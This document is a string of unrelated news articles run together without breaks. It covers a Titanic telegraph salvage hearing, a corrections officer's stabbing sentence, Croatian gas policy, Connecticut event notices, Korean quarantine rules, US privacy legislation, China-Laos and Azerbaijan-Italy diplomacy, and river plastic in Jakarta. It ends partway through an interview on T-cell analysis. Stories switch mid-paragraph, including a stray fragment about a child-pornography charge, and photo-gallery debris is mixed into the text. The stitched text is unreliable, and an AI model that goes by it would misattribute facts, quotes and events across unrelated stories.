Gallo, who testified in federal court in Norfolk, Virginia, said that salvaging the device would not be grave robbery but a way to connect people to the ship's legacy and honor its passengers. US district judge Rebecca Beach Smith, the maritime jurist who presides over Titanic salvage matters, said it was too early for her to make any decisions on the proposal. She said she needed more details and proposed scheduling another hearing sometime in the future. Titanic survivor's granddaughter 'reveals truth' Show all 10 1 /10 Titanic survivor's granddaughter 'reveals truth' Titanic survivor's granddaughter 'reveals truth' 458226.bin GETTY IMAGES Titanic survivor's granddaughter 'reveals truth' 458221.bin GETTY IMAGES Titanic survivor's granddaughter 'reveals truth' 458224.bin GETTY IMAGES Titanic survivor's granddaughter 'reveals truth' 458225.bin GETTY IMAGES Titanic survivor's granddaughter 'reveals truth' 458223.bin GETTY IMAGES Titanic survivor's granddaughter 'reveals truth' 458222.bin GETTY IMAGES Titanic survivor's granddaughter 'reveals truth' 458227.bin GETTY IMAGES Titanic survivor's granddaughter 'reveals truth' 458228.bin GETTY IMAGES Titanic survivor's granddaughter 'reveals truth' 458229.bin GETTY IMAGES Titanic survivor's granddaughter 'reveals truth' 458230.bin GETTY IMAGES The Titanic was traveling from England to New York when it struck an iceberg at 11.40 pm on 14 April, 1912. The large and luxurious ocean liner sent out distress signals using the relatively new Marconi wireless radio system. The messages in Morse code were picked up by other ships and onshore receiving stations. They included: We require immediate assistance ... Have struck iceberg and sinking ... We are putting women off in boats. The ship sank in less than three hours, with the loss of all but 700 of the 2,208 passengers and crew. An international team led by oceanographer Robert Ballard located the wreckage in 1985 on the North Atlantic seabed, about 400 miles off Newfoundland, Canada. RMS Titanic Inc oversees a collection of thousands of items recovered from the site over the years as the court-recognised salvor, or steward of the artifacts. The company has argued that time is running out to retrieve the telegraph machine. It has been referred to as the voice of the Titanic, which also delivered the ship's last words. Recommended Explorers find wreck of WW2 aircraft carrier sunk in pivotal battle The device is located in a room on the ship's deck. A gymnasium on the other side of the grand staircase has already collapsed. The roof above the telegraph machine has begun to perforate. "I'm not sure if we go in 2020 that the roof won't be collapsed on everything, testified Paul Henry Nargeolet, director of the company's underwater research program. The company is already facing resistance from the National Oceanic and Atmospheric Administration (NOAA) , which represents the public's interest in the wreck site. The US attorney's office in Virginia represents the NOAA. Its attorneys argued in court documents that the proposed retrieval runs contrary to prior court orders that prohibit the firm from cutting holes or taking items from the wreck. The items that the firm has salvaged came from a debris field outside the ship. It seems clear that this is not simply a 'one-off' proposal for the Marconi wireless telegraph, but a placeholder for future requests to take similar actions in order to recover other artifacts from inside the wreck, federal attorney Kent P Porter wrote. Mr Porter also wrote that the court must consider international agreements involving the wreck as well as archaeological standards to determine whether the retrieval is justified. He cited the United Kingdom-based Joint Nautical Archaeology Policy Committee, which said the company has failed to adequately justify its proposal. Karen Kamuda, president of the Massachusetts-based Titanic Historical Society Inc, told the Associated Press in an email that the society has been against disturbing the wreck since 1985 because it is a gravesite. Associated Press Fowler, charged with production of child pornography, sent the victim detailed instructions for how he wanted the videos to look. Fowler told the victim to display her private parts and to write his first name or his initial on her body, the complaint states. A South Carolina Department of Corrections supervising officer, convicted of stabbing an inmate multiple times with the inmates homemade knife, was sentenced to seven years in prison late Thursday afternoon by a federal judge. No one is above the law, said federal judge Michelle Childs at the end of an almost two-hour hearing at the U.S. courthouse in downtown Columbia. Minutes later, former Corrections officer Jarrell Boyan, 29, collapsed outside the courtroom, screaming and moaning with emotional pain at the prospect of having to serve seven years as a prisoner in the very kind of facilities where he used to be a guard. Earlier, in comments to the judge before sentencing, a sobbing Boyan said through tears that he had blacked out and unintentionally grabbed the shank, which was in his cargo pants, instead of a pair of handcuffs, before proceeding to stab the inmate, Kenya Spry, repeatedly. But Assistant U.S. Attorney Alyssa Richardson quickly told the judge that Boyans explanation defies belief. Video and other evidence shows that Boyan had taken the shank from the inmate, Spry, walked down a hall and put it in a safe room, and that Boyan had to go back to the safe room to get the shank with which he then stabbed Spry, Richardson said. Sprys injuries included puncture wounds to his liver and kidney, Richardson said. Childs said she appreciated that Corrections officers have dangerous jobs and noted that when it comes to inmates having shanks, it could have been the other way. It could have been the officers who were hurt. Prosecutors had asked for a 10-year sentence for former officer Boyan the maximum allowed by the law under which he was charged, a law that included the offense of assault with intent to commit murder. During the hearing, Boyans lawyer, John Delgado, had begged Childs not to judge Boyan on the worst 20 seconds of his life. Evidence showed that Boyan, a graduate of Eau Claire High School, had been a model citizen, and had snapped during an encounter with inmate Spry, whom a former Corrections warden had once described as the most dangerous and violent inmate hed ever seen among thousands. Story continues Childs said the fact that inmate Spry was severely injured prosecutors showed a black and white screen-grab from a video showed a bleeding Spry, wincing in pain, with large gashes around his left shoulder and slashes in his stomach area and that Boyan had tried to cover up his crime were among the reasons she gave him a seven-year term. Spry was also restrained at the time, and Boyan did could have easily avoided inflicting violence on him, the judge said. During the hearing, Delgado gave numerous details about Sprys lengthy prison disciplinary record, a record that included stabbing, striking and biting officers and staff and repeatedly covering them with feces and urine squirted from toothpaste tubes. After being stabbed, Spry continued his threats and assaults and was transferred to the Virginia Department of Corrections to get rid of him, Delgado said. Spry also repeatedly threatened corrections officers, Delgado said, quoting a prison record where the inmate told one female officer that Im going to cut you up starting with your finger tips, blow your kids heads off... I hope God takes you first. Spry told another officer, I know you live in Columbia. I know what kind of car you drive. In 2004, Spry was sentenced to a 10-year prison term for an armed robbery in Newberry County. But his repeated offenses behind bars have lengthened his sentence another 10 years or so. Spry, now 33, was nicknamed spider man and Houdini for his ability to place himself on walls or ceilings where logic would otherwise defy it and had a long history of violent behavior. Spry also had a genius for getting out of handcuffs and was repeatedly found with homemade handcuff keys, Delgado said. This man is an escape artist. Delgado called as a witness former Corrections warden Bernard McKie, who called Spry the most violent and destructive inmate Ive seen in my 40 years. Inmate Kenya Spry was stabbed by SC Department Corrections officer Jerrell Boyan. But prosecutors said in a sentencing memo that No one is above the law, and certainly the correctional officer charged with upholding the rules and regulations of a state prison cannot be exempt. Boyan relied on his subordinate deputies to restrain his victim as Boyan repeatedly stabbed and punctured (Spry) with the sharpened shank, the memo said. A shank is prison slang for a homemade metal knife. Boyan later instructed the two corrections officers to lie about how the prisoners got his injuries, the prosecutors memo said. This was no typical schoolyard bullying: the perpetrator was in a position of power; the victim was vulnerable, a memo said. The incident happened in October 2016. Boyan was fired shortly afterwards. He pleaded guilty last August and has been awaiting sentencing. Spry sustained four stab wounds to his abdomen, punctures to his kidney and liver and had to go to a hospital, according to evidence in the case. He has undergone several surgeries for the injuries since then. In those documents, Delgado stressed that Spry was an exceptionally violent inmate who had committed innumerable infractions including assault, contraband and other misconduct. There seems to be no limit to the frequency and nature of Sprys physically destructive, violent, threatening behaviors towards other inmates and (prison) staff. Spry was always the willful perpetrator and aggravator, wrote Delgado. In a pre-sentence filing, Delgado described Boyan as a repentant and contrite individual who had a promising career at the Department of Corrections before the stabbing incident, which happened in October 2016. Boyan had served seven years as a Corrections officer before the incident. He was fired shortly afterwards. Boyan was one of the youngest lieutenants ever appointed in Corrections history, Delgado wrote. His father, mother, brother and cousins have all been long time Corrections or jail employees a combined total of more than 65 years working in state prisons and jails, Delgado wrote. The incident was investigated by FBI Special Agents Craig Januschowski and Cheryn Priestino. Corrections requested the investigation. After the hearing, Corrections Director Bryan Stirling said, No head of any law enforcement agency ever wants something like this to happen. But if law enforcement officers break the law, they therefore break the public trust, and they must be held accountable. Even though the judge had taken three years off Boyans proposed sentence, Delgado left the courthouse shaken, describing his client, a single father with a young child, as a good man. All he wanted was to return to his son. By Trend Croatia considers imperative to further develop gas supply projects from the Caspian region, Trend reports referring to the Integrated National Energy and Climate Plan for the Republic of Croatia for the period 2021-2030. "The construction of the liquefied natural gas (LNG) terminal in Krk island, in addition to increasing the diversification of gas supply, will create preconditions for gas transmission to third countries, and indirectly increase the efficiency of the gas transmission system and reduce the average transport tariffs. The same impact will be achieved by building the IAP," reads the national energy plan of Croatia. "For the purposes of diversification of gas supply routes, in addition to the construction of the LNG terminal, it is planned to connect to the Ionian Adriatic gas pipeline. For the purposes of diversification of electricity supply routes, construction of interconnectors to Bosnia and Herzegovina, Hungary and Serbia is being considered." The document reads that it is imperative to increase activities to strengthen the diversification of gas supply by further developing gas supply projects from the Caspian region or the Eastern Mediterranean. "It is also necessary to develop all projects that can increase gas transmission through the Croatian gas transmission system and, consequently, increase the efficiency of the gas transmission system of the Republic of Croatia itself more actively," Croatia believes. Possible time of implementation of the IAP project hasnt been announced yet. A Memorandum of Understanding (MoU) on the Ionian Adriatic Pipeline (IAP) was signed in August 2016 by Albania, Bosnia and Herzegovina, Croatia, Montenegro and SOCAR. In September 2016 it was announced that SOCAR will be a technical consultant in IAP project. Western Balkans Investment Framework (WBIF) allocated 2.5 million euros worth grant for IAP in February 2017. The work on setting up a company for implementation of the IAP project is expected to be completed in 2020. Implementation of Terms of Reference for the Ionian-Adriatic Pipeline (IAP) project started. The Terms of Reference have been agreed upon among stakeholders in April 2018, and the implementation started in May 2018. Albania, Bosnia, Croatia and Montenegro are planning to finalize the preliminary design of the IAP, which provides for the transportation of Azerbaijani gas to Southeast Europe, by September 2020. --- Follow us on Twitter @AzerNewsAz MIDDLETOWN The Oddfellows Playhouse Teen Repertory Company is holding auditions for the spring mainstage production of Romeo and Juliet, by William Shakespeare. Young people ages 14-20 are invited to audition, and must register for one of the two audition evenings, March 2 or 5, 6:30 - 9 p.m. No preparation is required, but auditioners are asked to arrive on time, dress to move, and plan to stay for the entire 2.5 hours. The production will be directed by ARTFARM artistic director Marcella Trowbridge. Rehearsals will be Monday and Thursday evenings starting March 23, and performances will be May 14 - 16 and 21-23. Auditions will take place at Oddfellows Playhouse Youth Theater, 128 Washington St, Middletown. There is a $250 tuition fee for the Teen Repertory Company, but financial aid and work-study options are available for all who need it. For more information or to register, email info@oddfellows.org, call 860-347-6143 or visit www.oddfellows.org STEM conference is just for girls HARTFORD Women leader-mentors in science, technology, engineering, and math (STEM) will provide Connecticut girls grades 6-9 a fascinating look into their STEM career opportunities during the states 7th Annual Tech Savvy Conference, 8 a.m.-3 p.m. March 7 at Trinity Colleges McCook Auditorium, 300 Summit Street, Hartford. Girls, their parents/guardians and advisors may register for the conference online at https://tinyurl.com/vz7t9gw or contact Alison Draper at Alison.draper@trincoll.edu. Cost is $5 and includes lunch. Sponsored by the American Association of University Women, the Petit Family Foundation and local donors, the conference features hands-on experiments where girls learn how to extract DNA from plants, discover blood samples carrying Lyme Disease, learn about bone and tendon structure, construct an electro-mechanical jitterbug, print products in 3D, analyze the acidity of household products and more. Lunch in the college cafeteria and conversation with current college students rounds out the day for the girls. The conference will also feature a day of events for parents/guardians and teachers including panels of women professionals and educators and college admissions officers who will provide the information needed to support the girls interest in STEM. Transitioning with Autism offered at Vista MADISON Vista Life Innovations is hosting a collaborative presentation, Transitioning with Autism: A Medical and Personal Journey, at 107 Bradley Road, 6-7 p.m. March 24, with Roger Jou, M.D., Ph.D., M.P.H. and Abha Gupta, M.D., Ph.D. from the Yale Child Study Center. Roger Jou, M.D., Ph.D. is an Instructor in the Yale Child Study Center and has studied autism spectrum disorders across the lifespan for over two decades. Abha Gupta, M.D., Ph.D. is an assistant professor of pediatrics and is investigating the genetics and neurobiology of autism spectrum disorder. Vista Life Innovations will lead the discussion about how adults can prepare for transition by learning coping skills and strategies for navigating everyday life. Dr. Jou and Dr. Gupta will cover recent advances in autism genetics research and clinical genetics testing in autism, discuss an ecosystem approach to autism research and wellness, and share insight on creative collaborations, current research, and community resources. The presentation will end with a panel of Vista students and members speaking on their transition into learning independence. To register, visit: www.vistalifeinnovations.org/transitioning-with-autism For more information, email: ecampbell@vistalifeinnovations.org Artists invited to show works STONY CREEK The Friends of The Willoughby Wallace Memorial Library seeks Connecticut artists to exhibit monthly from September through August. Drop off 3 pieces representative of work, ready to hang April 17, between 4-7 pm. Pick up on Sunday, April 19, 1-4 pm. Wall hanging art is accepted. Entry fee is $25. Proceeds benefit the Friends of WWML. For information, call 203-488-8702 15th Annual Mayor's Ball planned The City of Middletown announced that the 15th Annual Mayors Ball will be held April 18. This gala event will be held at the Wadsworth Mansion in Middletown. Tickets can be purchased through the Mayors Office with the proceeds to be donated to the Oddfellows Playhouse and New Horizons Domestic Violence Services. The city invites local businesses and community to sponsor the Mayors Ball.For ticket purchases or questions, contact the Mayors Office via email at mayor@middletownct.gov or call 860-638-4801. Relay for Life committee sets dates HADDAM/KILLINGWORTH In June, the 13th edition of The Relay for Life of Haddam-Killingworth was held at the HK High School track and field facility. As committee membes start organizing for next years event, they acknowledged the entire Haddam-Killingworth community for making the event a success. All are invited to join the Relay for Life on June 27, 2020, noon to 10 p.m. Meetings are held monthly and are open to all, and continue Feb. 19, March 18, April 22, May 20 and June 24. All meetings held at Haddam-Killingworth High School, Little City Road, Room C112, 6:30-8 p.m. More information can be found at www.relayforlife.org/hkct Education Minister Yoo Eun-hae, left, and Seoul Mayor Park Won-soon, attend an emergency meeting to establish a series of measures for managing Chinese students set to return for spring semester next week, at Seoul City Hall, Friday. /Yonhap By Bahk Eun-ji The government unveiled measures Friday to isolate Chinese students from local communities when they return from the mainland for the spring semester to prevent them possibly spreading the coronavirus on and off campus. The students have been advised to quarantine themselves for 14 days after their arrival. The Ministry of Education (MOE) said it will closely cooperate with the Seoul Metropolitan Government (SMG) and university officials to monitor Chinese students in the capital city. "The series of measures comes amid growing fears of the possible spread of the contagious virus on university campuses here as the most number of Chinese students are expected to enter Korea from next week," said Kim Gyu-tae, a deputy director general in the higher education policy division at the MOE, during a press briefing at the Government Complex in Seoul. Among measures, the SMG will provide shuttle bus services from the airport to schools for the Chinese students who are returning from the winter vacation on mainland China to prevent them possibly transmitting the COVID-19 virus to others. For universities that do not have enough dormitory space to quarantine students, the city government and district offices will provide temporary accommodation. The measure comes as university officials complained of difficulty in managing the students because of a space shortage. The SMG has designated five local facilities for the temporary accommodation, including the Seoul Human Resources Development Center in Seocho-dong. Students who have their own places near campuses will have to download a mobile application to report their health status during the two-week self-quarantine period. The education ministry will share the information with the city government to check if the students are following the rules. Staff members and SMG officials will carry out telephone monitoring twice a day to check the students' health and whereabouts. The education ministry suggested that Chinese students who are yet to come to Korea take leave for the first semester and pushed universities to prepare facilities to quarantine them after they enter Korea. According to the Korean Education Statistics Service, there were 69,287 Chinese nationals studying in Korea as of April 2019 43.3 percent of the 160,165 international students here. Among the Chinese students, 38,330 are enrolled in 68 universities in Seoul, the data showed. (TNS) Top U.S. technology companies are shifting their focus to state capitals to shape emerging data privacy laws as progress on a federal bill has slowed.Trade groups representing consumer-oriented technology companies such as Amazon, Google and Facebook, as well as those working on behalf of business-oriented companies such as IBM, Intel, Microsoft and Oracle, have in recent weeks turned their attention to states.The California Consumer Privacy Act, which requires disclosures so consumers are aware of data being collected about them and permits them to opt out, went into force in January and has become a catalyst for states around the country that are considering similar measures. It reflects a strong desire by voters for protections from unchecked data collection practices by companies and governments.In a Pew Research Center survey last year, more than 8 in 10 Americans said the potential risks from their data being collected and used by companies outweighed benefits; about 66 percent said they felt the same about data used by the government.John Olsen, director of state government affairs for the Northeast region at the Internet Association a trade group that represents Amazon, Facebook and Google, among other consumer companies said state legislators are showing increased interest and curiosity about how companies share data and how data is derived, with an interest in protecting consumers data privacy. And many lawmakers see that successfully championing data privacy legislation could boost their political ambitions as well, he said.Missouri Sen. Josh Hawley, a rising Republican star, is among those taking on big technology companies and their data practices. Hawley has said hes worried that a handful of tech billionaires are getting richer and more powerful by taking everyones information and monetizing it.The Software Alliance, also known as BSA, which includes Apple, Microsoft and IBM as members, in January announced a state advocacy program. Although federal legislation addressing data privacy that would apply uniformly across the country is still the preferred outcome for tech companies, we cant ignore that the states are moving forward, said Craig Albright, vice president of legislative strategy at BSA. We are not asking states to pass privacy laws, but we need to help shape it.Industry groups are keen to see that laws in different states are more or less uniform in their definitions of users rights as well as responsibilities assigned to companies. The groups are also working to ensure that one or more states dont add a new standard, such as New York, which is considering whether companies should have a fiduciary duty to safeguard users data.Focusing attention on states is a smart strategy on the part of tech companies, said Michelle Richardson, director of privacy and data at the Center for Democracy and Technology, an advocacy group that promotes technology safeguards. If you pass the same law in a handful of states, that could influence federal legislation, she said.In Congress, meanwhile, multiple bills and draft proposals are being circulated by members in both chambers. Mississippi Republican Roger Wicker, chairman of the Senate Commerce Committee, in early December unveiled a discussion draft. Washington Sen. Maria Cantwell, the top Democrat on the panel, introduced a bill that is backed by Democrats Amy Klobuchar of Minnesota, Edward J. Markey of Massachusetts and Brian Schatz of Hawaii.The Wicker and Cantwell proposals join others from House members. In November, two California Democrats, Zoe Lofgren and Anna G. Eshoo, unveiled a data privacy bill that would go further than other measures by creating a new federal digital privacy agency.Californias new law requires companies to show consumers what data is collected on them, delete data upon request and allow people to opt out of their data being sold. It also gives users the right to sue companies for data breaches. The law applies to all companies with annual sales exceeding $25 million and is estimated to affect as many as 500,000 businesses. Nine states around the country are in various stages of considering privacy legislation, according to data compiled by the International Association of Privacy Professionals, or IAPP. Bills in Massachusetts, Minnesota, Nebraska, New Hampshire, New York and Virginia are in the process of being considered by legislative committees, according to IAPP. The Washington state Senate approved a privacy measure last week.The bill being discussed in New York takes a new approach. It would place fiduciary responsibilities on companies to safeguard users data, much like the requirements on financial advisers to safeguard clients money.Other provisions would also make the New York proposal an outlier. For starters, it would apply to all companies in New York, not just those with more than $25 million in annual revenue. It would also allow New York residents to sue for more than just the loss of personal information in a data breach.The bill would also require confidentiality and protections for consumers from economic and psychological harm, as well as from significant inconvenience or expenditure of time and stigmatization or reputational harm resulting from data breaches.The bills author, state Sen. Kevin Thomas, who chairs his chambers Consumer Protection Committee, hopes the proposal will set a new benchmark in privacy protections.Its the wild, Wild West right now, and the federal government is obviously not moving towards regulating this industry with a universal law, Thomas said. So the states have to step up.Technology companies were quick to oppose the legislation, and the data fiduciary section in particular.At a hearing last June, Olsen of the Internet Association said combining the data fiduciary with the ability for residents to sue companies for a broad range of privacy violations would bankrupt small businesses and likely some larger businesses.NewYork-based industry groups were also opposed.The Empire State bill was largely supported by privacy advocates, who praised it for seeking tougher protections than those enacted in California. Allie Bohm, policy counsel at the New York Civil Liberties Union, said Thomas bill could be the most progressive in the nation.Its advocates are particularly supportive of allowing individuals to sue companies for a broad range of potential violations, not just data breaches, Bohm said. But she expressed concerns over the data fiduciary provision, which she finds interesting but in need of significant clarification. Just saying you have a duty of care doesnt tell me as a corporation what Im required to do, Bohm said. If you dont lay out what it means, it can become meaningless.After hearings on the legislation last year, Thomas is reworking his bill with input from both privacy advocates and business groups. He plans to reintroduce it in the coming months.Until Thomas reveals a new version, the bills prospects for passing this year remain unclear. He said hes committed to keeping the data fiduciary provision in the bill but wants to work with businesses to ensure they can comply without going out of business.This isnt a tough bill to pass, Thomas said. Im just trying to balance the privacy aspect and the business models. So Im not killing industry just making everything better. Source: Xinhua| 2020-02-21 12:32:07|Editor: huaxia Video Player Close Chinese State Councilor and Foreign Minister Wang Yi (L) shakes hands with Lao Foreign Minister Saleumxay Kommasith before their talks in Vientiane, Laos, Feb. 20, 2020. China and Laos have pledged to work together to further develop the bilateral relations in a bid to score greater achievements. The pledge was made during a meeting between visiting Chinese State Councilor and Foreign Minister Wang Yi and Lao Foreign Minister Saleumxay Kommasith on Thursday. (Photo by Kaikeo Saiyasane/Xinhua) VIENTIANE, Feb. 21 (Xinhua) -- China and Laos have pledged to work together to further develop the bilateral relations in a bid to score greater achievements. The pledge was made during a meeting between visiting Chinese State Councilor and Foreign Minister Wang Yi and Lao Foreign Minister Saleumxay Kommasith on Thursday. During the meeting, Wang thanked Laos for its efforts to arrange the holding of the two meetings, the Special ASEAN-China Foreign Ministers' Meeting on Coronavirus Disease and the fifth Lancang-Mekong Cooperation Foreign Ministers' Meeting, in a short period of time. The two meetings on Thursday spoke highly of the measures China has taken to prevent and control the spread of the epidemic, expressed confidence in and voiced support for China in winning the fight against the disease, and reached consensuse to work together to tide over the difficult time, thus demonstrating China, Laos and the Association of Southeast Asian Nations have had the good tradition of supporting and helping one another in difficult times, Wang said. Noting that the development of ties between China and Laos has entered a new era when the two sides are joining hands to forge a China-Laos community with a shared future, Wang said while prioritizing the implementation of the consensus reached between the leaders of the two countries and grasping the opportunity that China and Laos will mark the 60th anniversary of the establishment of the diplomatic relations next year, China is willing to work together with Laos to strengthen all planning and press forward exchanges and cooperation in all fields so as to write a new chapter in the development of their traditional friendship. China is also ready to maintain high-level exchanges with Laos, further share governance experience, push forward the construction of the China-Laos Railway and the China-Laos Economic Corridor, and earnestly carry out projects related to people's wellbeing so as to let the ordinary people benefit from the cooperation between the two countries, Wang said. The two sides should also speed up the implementation of the action plan on building a China-Laos community with a shared future, which will significantly accelerate Laos' socio-economic development, promote the trust and unity between the two countries and help to safeguard their common interests in international arena, he added. The Lao foreign minister, for his part, while applauding the great efforts China has made to combat the epidemic, said his country will stand firmly with China in this regard. He believed that China will surely win the fight against the disease. Saleumxay Kommasith said the Lao side has attached great importance to the consensus on forging a China-Laos community with a shared future reached between the leaders of the two countries and has held a high-level meeting on implementing the action plan recently. Laos will give priority to the implementation of the action plan, broaden the pragmatic cooperation in all fields, push forward the construction of the China-Laos Railway to be completed as planned and advance the construction of the China-Laos Economic Corridor, the Lao foreign minister said. Saleumxay Kommasith thanked China for providing precious help to Laos for its socio-economic development, and said Laos will firmly support China's legitimate stances concerning China's core interests. BAKU, Azerbaijan, Feb. 21 By Ilhama Isabalayeva - Trend: The development of ties with Italy, a member of the EU, may contribute to the expansion of Azerbaijans relations with this structure, Azerbaijani MP Musa Gasimli told Trend Feb. 21. Having said that the state visit of Azerbaijani President Ilham Aliyev to Italy is important from several points of view, the MP noted above all that this is one of the successful steps in Azerbaijans foreign policy. Gasimli reminded that Italian-Azerbaijani relations have deep historical roots. Back in the Middle Ages, Italian travelers were in Azerbaijan and showed interest in the country, said the MP. In 1918-1920, certain relations were established between Azerbaijan and Italy and until 1922 there were political and diplomatic ties of various kinds. During the Soviet period, the Azerbaijan SSR through the central power maintained relations with Italy. Some types of products manufactured in Azerbaijan were supplied to Italy, certain cultural ties existed. Gasimli noted that in 1991, after Azerbaijan regained state independence, opportunities emerged to establish direct ties with Italy. The MP added that of course, the visit of Azerbaijans National Leader Heydar Aliyev to Italy opened a new page in the relations between the two countries. After this visit, the legal framework of Azerbaijani-Italian relations was expanded and cooperation began to develop in various fields, said Gasimli. In subsequent years, thanks to efforts by President Ilham Aliyev, Azerbaijani-Italian relations have risen to a whole new level. Reminding that Baku and Naples are twin cities, the MP noted that the Azerbaijani-Italian relations have great prospects. Gasimli added that the talks held by the Azerbaijani president in Rome once again show the presence of these prospects. Italy is one of the seven most influential countries in the world, having weight in world politics and economics, the MP said. Italy is one of Azerbaijans most important trade partners. Visit by President Ilham Aliyev to Italy shows the presence of great potential and prospects for bilateral relations, therefore, I believe that this visit of the head of state will give more dynamics to the development of relations between the two countries and will reveal new promising areas for cooperation. On Feb. 19, President Ilham Aliyev paid a state visit to Italy, and on Feb. 20, the head of state held a number of official meetings in Rome. On the same day, after the meeting between Azerbaijani President Ilham Aliyev and President of the Italian Council of Ministers Giuseppe Conte in an expanded format, a ceremony of Azerbaijani-Italian documents exchange was held. The Italy-Azerbaijan Business Forum will be held in Rome Feb. 21. Share this article Whatsapp Facebook Twitter Linkedin Tim van Emmerik (The Jakarta Post) - Fri, February 21, 2020 17:34 690 7f440ff09e92db75a02bbad2065ddaf7 3 Opinion Ciliwung-river,Ciliwung-riverbank,research,waste Free This article is to mark Indonesias National Waste Awareness Day (Hari Peduli Sampah Nasional) on February 21. Dubbed the worlds second-largest marine polluter, Indonesia has ambitious targets to reduce plastic waste by 70% by 2025. However, the government may have to recalculate that target and its approach. Our research in 2018 indicates that Ciliwung river, which divides Indonesias capital Jakarta, is among the most polluted rivers in the world. Involving a group of Indonesian scientists from local NGO Waste4Change and Dutch researchers, our study found samples from Ciliwung river are more polluted than at least 20 rivers in Europe and Southeast Asia. We monitored levels of macro plastics (plastics with a size of more than five milimetres) in five locations of Ciliwung river in May 2018. We found 20,000 items flowing into the ocean per hour. That figure is way higher than for the Chao Phraya river in Thailand (5,000 items per hour), Seine river in France (700 items) and Rhine river in the Netherlands (80 items). The study also finds the weight of plastic waste from all rivers in Jakarta totals 2.1 million kilograms, equivalent to 1,000 Tesla Model S cars. Other interesting findings In the five locations we surveyed, we mostly found plastic bags and food wrappings. This suggests people directly dumped their household wastes into the water system. Author provided Another finding was that the amount of plastic waste was higher when there were more water flows. This is important to understand as it suggests most of the plastic waste is transported during the rainy season, the peak of river flows. If the city really wants to reduce its contribution to global plastic pollution, then we need to be prepared to reduce plastic pollution during its peaks in rainy seasons. Next moves In terms of science, I suggest other cities and countries, including Indonesia, should consider conducting plastic waste monitoring in their rivers and waterways as well. Though a relatively new science, the study of plastic pollution in rivers and canals, known as riverine plastic pollution, holds the key to reducing the amount of plastic waste entering the oceans. It is necessary to establish benchmark values for plastic pollution in rivers around the world. This will help governments set priorities for what rivers should be cleaned first. The benchmark will also help ensure the efficacy of technological solutions. Wageningen University and Research in the Netherlands are collaborating with top Indonesian universities and researchers Bandung Institute of Technology (ITB), Sepuluh Nopember Institute of Technology (ITS), IPB University, the Indonesian Institute of Sciences and the Ministry of Maritime Affairs and Fisheries to study the 20 most polluted rivers in Java, Indonesias most populated island, and provide data-driven suggestions to tackle plastic waste in Indonesia. Knowing where these plastics come from, how they flow through the water system and how they vary during the year is essential for all stakeholders to prevent more waste flowing into the oceans. --- Tim van Emmerik, Assistant Professor Hydrologic Sensing, Wageningen University This article is republished from The Conversation under a Creative Commons license. Read the original article. Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post. insights from industry Mark White, Ph.D. Senior Director of Marketing Berkeley Lights An interview with Mark White, Ph.D., discussing the need for single-cell analysis and techniques that allow the isolation of high-value T-cells for use in academic research and pharmaceutical development. Why is the pharmaceutical industry interested in identifying the function and phenotype of individual T-cells? Over the past decade, there has been an explosion in the development of immunotherapies; drugs that turn the immune system into a weapon against cancer or another disease state. With the emergence of immuno-oncology-based antibodies and cell therapies, there's a huge interest in T-cells. Pharmaceutical companies want to know what the T-cells are doing, how they function, and how we can exploit this for the creation of better therapeutics. This underlying interest has translated into looking at T-cells in a whole new way and diving deep on the phenotype and function of T-cells. Image Credit: sciencepics / Shutterstock.com Immunologists have been looking at individual T-cells for a long time. The goal of the pharmaceutical industry is to find the best cells. If you're making a cell therapy and you're putting billions of cells into a patient to try and treat their condition, one of the key questions is, how many of those cells have the function that you think they do? The function being quite complicated cell behavior, which is the ability to interact with a tumor cell, recognize it as foreign and then attack it. Most of the questions surround two key themes; how can we make our processes more efficient and how can we identify only the best cells? Scientists working in this field are looking at ways to identify and link directly with the phenotype of an individual T-cell with its actual cell behavior or function. Following this, in an R&D setting, the scientists will try to make T-cells more functional, looking at the genomics or the underlying transcriptome of a T-cell and asking why one group of T-cells was able to kill a group of tumor cells and another wasnt. If you are able to deeply characterize, profile and map your T-cell populations at the single cell-level, you can start to identify the fraction of T-cells that are actually doing what you want. What techniques are typically used for this process in the pharmaceutical industry? Are there any limitations? There are a couple of key limitations for the common techniques that are done today. The first relates to high-throughput techniques that only allow you to take a single snapshot of that population in time. You may be able to achieve single-cell resolution of what each of those individual T-cells looks like at that timepoint, but if you then change something or continue to culture, you cannot directly link that cell's phenotype or behavior at the first time point to the second. For example, you are unable to link phenotype for a single cell a timepoint 0 with gene expression or the cells phenotype at the 12-hour timepoint. This prevents you from getting the highest resolution data on the best cell behavior or genotype for a successful therapy. Another issue comes in with live-cell imaging or methods that can test individual T-cell function. With most of these techniques, you can't recover the cells from the device or instrument that you're taking the measurement from. At Berkeley Lights, our platforms can be used to track thousands of single T-cells over time, taking multiple measurements of cell behavior or phenotype and then finally looking at their genotype. Through this process, scientists can find the best cells within the parameters they are looking for. The ability to kill a tumor cell combined with Alpha-beta chain sequences from a single T-cell, for example, will define ways to target T-cells towards a specific antigen. Scientists may look at the whole transcriptome to try and ascertain what was happening in that T-cell and why that differed to another cell from the same population. The third and final limitation is the destruction of precious samples. All human samples are precious, and most of them come in relatively small volumes with limited numbers of cells. It is therefore vital that you can recover most or all of the sample after analysis. To achieve this, scientists working in the field of immunology are always looking for ways to integrate measurements together into the same chip, on the same cells and get as much information as possible. For scientists carrying out cell therapy manufacturing, they must first analyze their process using samples. If its a real patient sample, they cant afford to lose many of those cells while trying to understand or optimize the process. Using as few cells as possible and extracting as much information as possible from those cells is valuable to them. Thats why we developed our Lightning and Beacon platforms, which allow scientists to work with small cell numbers; between 1000 to 100,000 cells in total. Image Credit: CI Photos / Shutterstock.com What are the Beacon and Lightning platforms and how do they work? We launched the Lightning platform in June. This platform was designed for focused efforts and assay development on T-cells in particular. It has been optimized for immunologists that work in low-throughput laboratories who need to tweak and change their assays often. They want to be able to quickly change an assay and develop a new one. For them, the automation is not important. What's most important is getting their sample into the system as quickly as possible and carrying out their experiment. Compared to our Beacon platform, which has been designed for high-throughput applications, the Lightning platform has a more accessible price point. It runs a single OptoSelect chip and has 1,500 nanopens on it. We're able to screen roughly 1,000 single T-cells in a single run over the course of 24 hours. The Beacon platform was launched about three years ago and has been designed for Cell Line Development and plasma B-cell discovery. For Cell Line Development, the Beacon platform enables scientists to identify CHO cells that secrete the highest titers of IgG molecules with 99.9% monoclonality in five days. It allows very rapid selection of the best clones. For scientists working on plasma B-cell discovery, they are carrying out lots of high-throughput screening to find the best lead molecules. The Beacon has been developed to screen 25 to 30,000 plasma B cells directly, without fusion to a myeloma cell to make a hybridoma. These cells are fragile and dont live very long, so being able to look at each individual cell and quantify, for example, whether the antibody that they're secreting will bind to the antigen on the surface of a live cell, is useful. This process normally takes 3 months, but the Beacon reduces this down to 1-2 days. How does the Lightning system help R&D scientists to recover T-cells of interest? How do you manage to keep the cells 